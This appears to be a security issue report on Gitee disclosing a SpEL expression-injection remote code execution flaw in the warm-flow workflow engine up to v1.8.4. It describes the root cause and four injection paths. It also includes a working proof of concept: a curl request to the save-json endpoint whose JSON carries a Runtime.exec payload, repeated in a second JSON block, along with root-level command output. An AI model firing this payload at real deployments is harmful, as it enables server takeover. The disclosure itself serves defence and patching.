RCE via SpEL Expression Injection in warm-flow Workflow Engine

### 版本

v<=1.8.4

### 功能不好用不会用是否已经看过项目文档？

- [x] https://www.warm-flow.com/

### 这个问题是否已经存在？

- [x] 我已经搜索过现有的问题 (https://gitee.com/dromara/warm-flow.git/issues)

### 问题描述和复现

### Impact

**- Description**
warm-flow (a lightweight workflow engine under the Dromara community, 1.5k+ GitHub Stars) contains a critical SpEL (Spring Expression Language) expression injection vulnerability in the `SpelHelper.parseExpression()` method. A user with workflow design privileges can inject malicious SpEL expressions into the `listenerPath`, `skipCondition`, and `permissionFlag` fields of a workflow definition via the `/warm-flow/save-json` endpoint. When a workflow instance is triggered, the injected expressions are executed, leading to arbitrary command execution (RCE) on the server.

The root cause of this vulnerability lies in the following code flaw:

**Flaw: SpEL expression execution uses an unsandboxed StandardEvaluationContext**

[`SpelHelper.java#L63-L67`](https://github.com/dromara/warm-flow/blob/master/warm-flow-plugin/warm-flow-plugin-modes/warm-flow-plugin-modes-sb/src/main/java/org/dromara/warm/plugin/modes/sb/helper/SpelHelper.java#L63-L67):

```java
public static Object parseExpression(String expression, Map<String, Object> variable) {
    StandardEvaluationContext context = new StandardEvaluationContext();
    // ← StandardEvaluationContext allows T() type references, new constructor calls, reflection chains
    // ← No TypeLocator restriction, no ConstructorResolver limitation, no dangerous method filtering
    context.setBeanResolver(beanResolver());
    context.setVariables(variable);
    return parser.parseExpression(expression, parserContext).getValue(context, Object.class);
}
```

`StandardEvaluationContext` is the most powerful expression evaluation context in Spring, allowing access to arbitrary Java types via `T(java.lang.Runtime)` and invocation of their methods. While warm-flow's SpEL feature is designed to allow workflow designers to call predefined Spring Bean methods (e.g., `#{@userService.getApprovers()}`), the lack of security restrictions on the evaluation context allows attackers to inject expressions like `#{T(java.lang.Runtime).getRuntime().exec('cmd')}` for OS-level command execution, **far exceeding the intended security boundary**.

This vulnerability has **4 independent exploitation paths**, each capable of independently triggering RCE:

| Path | Injection Field                 | Execution Entry                  | Trigger Timing                         |
| ---- | ------------------------------- | -------------------------------- | -------------------------------------- |
| 1    | `flow_node.listener_path`       | `ListenerStrategySpel.eval()`    | Node create/finish events              |
| 2    | `flow_definition.listener_path` | `ListenerStrategySpel.eval()`    | Definition-level create/finish events  |
| 3    | `flow_skip.skip_condition`      | `ConditionStrategySpel.eval()`   | Exclusive gateway condition evaluation |
| 4    | `flow_node.permission_flag`     | `VariableStrategySpel.preEval()` | Handler variable resolution            |

Full attack chain:

```
Attacker (workflow design privileges)
  → POST /warm-flow/save-json
    → Inject SpEL payload into listenerPath/skipCondition/permissionFlag
    → Malicious workflow definition persisted to database
  → Publish and start workflow instance
    → Workflow engine triggers listener/condition/handler resolution
      → ExpressionUtil → *StrategySpel → SpelHelper.parseExpression()
        → StandardEvaluationContext executes T(Runtime).exec(...)
  → Arbitrary command execution (RCE)
```

**- Impact**
Confirmed material impacts include:

1. **Remote Code Execution (RCE)**: Execute arbitrary system commands with the application's runtime user privileges.
2. **Complete Server Takeover**: Read/write server filesystem, modify databases, establish reverse shells.

**POC**

**- Prerequisites**

1. Target system integrates warm-flow (Spring Boot mode) with the `/warm-flow/save-json` endpoint accessible.
2. Attacker has workflow design privileges (can invoke the save-json endpoint). Note: warm-flow itself provides no authentication — authentication is provided by the business system that integrates warm-flow.

**- Steps to Reproduce**

warm-flow is a **library** (jar dependency), not a standalone application. Reproduction requires two components:

- **Injection**: The `/warm-flow/save-json` endpoint and built-in Vue3 UI designer (`/warm-flow-ui/index.html`) are provided by warm-flow itself — attackers inject malicious SpEL expressions directly through this interface.
- **Trigger**: The "publish" and "start/approve" operations must be provided by the business system that integrates warm-flow. SpEL expressions are executed internally by the warm-flow engine during workflow transitions.

The following is a minimal Spring Boot test project that provides the "trigger" HTTP endpoints for end-to-end reproduction. Key code:

**TestFlowController.java — Simulates a business system's workflow start/approve API:**

```java
@RestController
@RequestMapping("/test")
public class TestFlowController {

/** Start workflow — warm-flow engine internally triggers SpEL execution */
    @PostMapping("/start")
    public Object startFlow(@RequestParam String flowCode,
                            @RequestParam(defaultValue = "biz001") String businessId) {
        FlowParams params = FlowParams.build().flowCode(flowCode).handler("testUser");
        Instance instance = FlowEngine.insService().start(businessId, params);
        // warm-flow engine automatically triggers listeners/conditions/handler resolution
        // Malicious SpEL expressions are executed here
        // ...
    }

/** Approve workflow — triggers definition-level finish event */
    @PostMapping("/skip")
    public Object skipTask(@RequestParam Long taskId,
                           @RequestParam(defaultValue = "PASS") String skipType) {
        FlowParams params = FlowParams.build().skipType(skipType).handler("testUser");
        Instance instance = FlowEngine.taskService().skip(taskId, params);
        // ...
    }
}
```

**Built-in UI Designer Attack Surface**: warm-flow includes a Vue3 flow designer at `/warm-flow-ui/index.html`. Attackers can perform SpEL injection through this designer:

| Chain   | UI Injection Point                                           |
| ------- | ------------------------------------------------------------ |
| Chain 1 | Flow Design → Double-click node → "Listener" tab → Path      |
| Chain 2 | Basic Info → Listener table at bottom → Path                 |
| Chain 3 | Flow Design → Exclusive gateway connection line → Skip condition |
| Chain 4 | Flow Design → Double-click node → "Handler Settings" → Primary key |

1. **Save Malicious Workflow Definition**

Submit a workflow definition containing a SpEL RCE payload via `/warm-flow/save-json`:

```bash
curl -X POST http://target:port/warm-flow/save-json \
  -H "Content-Type: application/json" \
  -d '{
    "flowCode":"spel_rce","flowName":"RCE","version":"1","formCustom":"N","modelValue":"CLASSICS",
    "nodeList":[
      {"nodeType":0,"nodeCode":"start","nodeName":"start","coordinate":"200,200",
       "skipList":[{"nowNodeCode":"start","nextNodeCode":"task1","skipType":"PASS","skipName":"go"}]},
      {"nodeType":1,"nodeCode":"task1","nodeName":"task1","coordinate":"400,200",
       "permissionFlag":"testUser",
       "listenerType":"create",
       "listenerPath":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"id > /tmp/pwned.txt\"})}",
       "skipList":[{"nowNodeCode":"task1","nextNodeCode":"end","skipType":"PASS","skipName":"pass"}]},
      {"nodeType":2,"nodeCode":"end","nodeName":"end","coordinate":"600,200","skipList":[]}
    ]
  }'
```

2. **Publish and Start Workflow to Trigger RCE**

After publishing the workflow definition, start a workflow instance through the business system API. The SpEL expression is automatically executed when the listener is triggered.

3. **Verify Command Execution**

```bash
$ docker exec warm-flow-app cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
```

All 4 exploitation chains were verified locally:

![输入图片说明](https://foruda.gitee.com/images/1774922530000523925/a72b3296_11731993.png "屏幕截图")

**Affected versions**
<= v1.8.4

### 流程定义json

{
    "flowCode":"spel_rce",
    "flowName":"RCE",
    "version":"1",
    "formCustom":"N",
    "modelValue":"CLASSICS",
    "nodeList":[
      {"nodeType":0,"nodeCode":"start","nodeName":"开始","coordinate":"200,200",
       "skipList":[{"nowNodeCode":"start","nextNodeCode":"task1","skipType":"PASS","skipName":"go"}]},
      {"nodeType":1,"nodeCode":"task1","nodeName":"审批","coordinate":"400,200",
       "permissionFlag":"testUser",
       "listenerType":"create",
       "listenerPath":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"id > /tmp/pwned.txt\"})}",
       "skipList":[{"nowNodeCode":"task1","nextNodeCode":"end","skipType":"PASS","skipName":"pass"}]},
      {"nodeType":2,"nodeCode":"end","nodeName":"结束","coordinate":"600,200","skipList":[]}
    ]
}

### 相关代码与报错信息(请勿发混乱格式)

[在这里上传图片]

dromara/warm-flow

内容风险标识

评论 (1)

dromara/warm-flow .gitee-modal { width: 500px !important; }

内容风险标识